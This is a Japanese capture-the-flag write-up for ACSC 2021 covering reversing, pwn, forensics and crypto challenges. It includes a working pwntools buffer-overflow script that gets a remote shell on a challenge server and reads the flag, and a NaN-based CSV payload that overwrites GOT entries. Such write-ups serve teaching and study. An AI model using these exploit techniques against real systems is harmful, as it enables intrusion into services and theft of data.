Windowsの実行ファイルが与えられる。実行すると次のような15x15のビンゴカードが表示される。適当に操作していると、WASDでカーソルの移動が、スペースキーでカーソルが指しているマスをうずまき → 目 → 何もなしに変えられることがわかる。

f:id:st98:20210919215546p:plain

Nで次のビンゴカードに移動し、Cですべてのビンゴカードが正しい配置になっているかまとめてチェックされる。Cキーでのチェック時にどこかが間違っていれば以下のようにWRONGと表示される。ちなみに、ビンゴカードは全部で35枚ある。

f:id:st98:20210919224049p:plain

IDA Freewareで解析するとSDLが使われていることがわかる。WinMain からメインループを追ったり、キーボードの状態を取得する関数である SDL_GetKeyboardState のxrefsからWASDが押されたかどうかのチェックなどをしている関数(0x1400015E0)を特定していくと、ビンゴカードのデータが格納されているらしきアドレス(0x1400172D0)も特定できる。

f:id:st98:20210919222232p:plain

その関数の最後で呼び出されている関数も見てみると、以下のようにビンゴカードが1行ずつ謎の比較がされておりかなり怪しい。ビンゴカードが正しい配置になっているか確認する関数だろう。

f:id:st98:20210919222551p:plain

雑にPythonで書き直して、Z3Pyでソルバを作る。

import struct
from PIL import Image
from z3 import *

def u32(x):
  return struct.unpack('<I', x)[0]

with open('distfiles/Tnzr.exe', 'rb') as f:
  table = io.BytesIO(f.read())

def get_addr(x):
  table.seek(x)
  return u32(table.read(4))

def get_row(row, i):
  return row[i + 13]

im = Image.new('L', (15 * 35, 15))
pix = im.load()

s1 = 0xd650 - (0x3c30 + 195 * 4)
for i in range(0, 31500, 900):
  print(i)
  solver = Solver()

  card = [[Int(f'card_{y}_{x}') for x in range(15)] for y in range(15)]
  for y in range(15):
    for x in range(15):
      solver.add(Or(card[y][x] == 0, card[y][x] == 1, card[y][x] == 2))

  s2 = (0x3c30 + 195 * 4) + i
  s3 = (0x3c30 + 195 * 4) + i
  v5 = s1
  card_ = iter(card)
  for k in range(15, 0, -1):
    row = next(card_)
    v8 = get_row(row, 1)
    v9 = s2
    v10 = get_row(row, 0)
    v12 = get_row(row, -1)
    v13 = get_row(row, -2)
    v14 = get_row(row, -3)
    v15 = get_row(row, -4)
    for l in range(15, 0, -1):
      v16 = get_addr(v9 + v5) - \
            (
              v10 * get_addr(v9) + \
              get_row(row, -8) * get_addr(v9 - 120 * 4) + \
              get_row(row, -9) * get_addr(v9 - 135 * 4) + \
              get_row(row, -10) * get_addr(v9 - 150 * 4) + \
              get_row(row, -11) * get_addr(v9 - 165 * 4) + \
              get_row(row, -12) * get_addr(v9 - 180 * 4) + \
              get_row(row, -13) * get_addr(v9 - 195 * 4) + \
              v8 * get_addr(v9 + 15 * 4) + \
              v12 * get_addr(v9 - 15 * 4) + \
              v13 * get_addr(v9 - 30 * 4) + \
              v14 * get_addr(v9 - 45 * 4) + \
              v15 * get_addr(v9 - 60 * 4) + \
              get_row(row, -5) * get_addr(v9 - 75 * 4) + \
              get_row(row, -6) * get_addr(v9 - 90 * 4) + \
              get_row(row, -7) * get_addr(v9 - 105 * 4)
            )
      solver.add(v16 == 0)
      v9 += 4
    s2 = s3
    v5 += 60
  s1 = 0xd650 - (0x3c30 + 195 * 4)

  c = solver.check()
  model = solver.model()
  for y in range(15):
    for x in range(15):
      res = model[card[y][x]].as_long()
      pix[x + 15 * (i // 900), y] = [255, 128, 0][res]

im.save('result.png')

これを実行すると以下のような画像が出力され、フラグが得られた。

f:id:st98:20210919223928p:plain

ACSC{WELCOM3_T0_TH3_ACSC_W3_N33D_U}

[Pwn 100] filtered (168 solves)

以下のようなコードが与えられている。なんとかして win という関数に飛ばしたい。main では0x100文字より長い文字列を読み込ませないようチェックがされているが、length は符号付きなので -1 を入力するとバイパスできてしまう。これでバッファオーバーフローができる。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Call this function! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
  exit(0);
}

/* Print `msg` */
void print(const char *msg) {
  write(1, msg, strlen(msg));
}

/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
  char c;
  print(msg);
  for (size_t i = 0; i < size; i++) {
    if (read(0, &c, 1) <= 0) {
      print("I/O Error\n");
      exit(1);
    } else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else {
      buf[i] = c;
    }
  }
}

/* Print `msg` and read an integer value */
int readint(const char *msg) {
  char buf[0x10];
  readline(msg, buf, 0x10);
  return atoi(buf);
}

/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

  /* Read data */
  readline("Data: ", buf, length);
  print("Bye!\n");

  return 0;
}

あとは雑にリターンアドレスを win に書き換えてしまう。

$ cat s.py
from pwn import *
s = remote('167.99.78.201', 9001)
print(s.recv(1024))
s.sendline(b'-1')
print(s.recv(1024))
s.send(b'A' * (280) + p64(0x4011d6) * 100)
s.interactive()
$ python3 s.py 
[+] Opening connection to 167.99.78.201 on port 9001: Done
b'Size: '
b'Data: '
[*] Switching to interactive mode
$ ls
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag*
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}

[Pwn 200] histogram (38 solves)

身長と体重を記録したCSVファイルを投げてやると、いい感じにヒストグラムとして表示してくれる便利なアプリケーション。CSVの読み込み部分のコードは次のようになっている。weight < 1.0 || weight >= WEIGHT_MAX というチェックによって範囲外アクセスはできないようになっている。

本当だろうか。よく見ると身長と体重は fscanf(fp, "%lf,%lf", &weight, &height)double として読み込まれている。もし nan を読み込ませれば、weight < 1.0weight >= WEIGHT_MAX も偽になる。その後の (short)ceil(weight / WEIGHT_STRIDE) - 1i-1 が入り、map[i][j]++ で範囲外アクセスができてしまう。

#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)

int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};

// …

int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
  j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}

IDA Freewareで map の周囲を見てみると、ちょうど .got.plt が直前に配置されている。適当に書き換えてしまおう。今回は事前に用意された以下の win という関数に飛ばせばよい。

void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}

fclosewin に書き換えるようなCSVを作り、ヒストグラムに変換するとフラグが得られた。

$ python3 -c "print('nan,30\n' * 520)" > b.csv; ./histogram.bin b.csv 
$ curl -k -i https://histogram.chal.acsc.asia/api/histogram -F csv=@b.csv
...
ACSC{NaN_demo_iiyo}

[Forensics 140] NYONG Coin (26 solves)

E01という拡張子を持つファイルが与えられる。仮想通貨のトランザクションが記録されたファイルがたくさん含まれているのだけれども、どうやらその中のひとつは改ざんされているらしい。改ざんされた箇所を答えろという問題。

FTK Imagerで開いてみると、たしかに.xlsxファイルがたくさんある。ただ、レコードが多すぎてどれが不審なトランザクションなのか全くわからない。諦めてunallocated spaceを眺めていると、PK とか [Content_Types].xml といった文字列が目に入った。ほかにも.xlsxファイルがあるようなので切り出す。別のよく似た.xlsxとともにCSVに変換した上でdiffを取ってみると、ひとつのトランザクションだけ改ざんされていることが確認できた。

ACSC{8d77a554-dc64-478c-b093-da4493a8534d}

[Crypto 100] RSA stream (121 solves)

以下のような chal.py というPythonスクリプトと、n などのパラメータが書かれた output.txt、暗号化されたファイルである chal.enc が与えられる。c = stream ^ q という部分を見ると、暗号化されたファイルと chal.py をXORすれば pow(m, 0x10001, n)pow(m, 0x10003, n) が得られることがわかる。

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}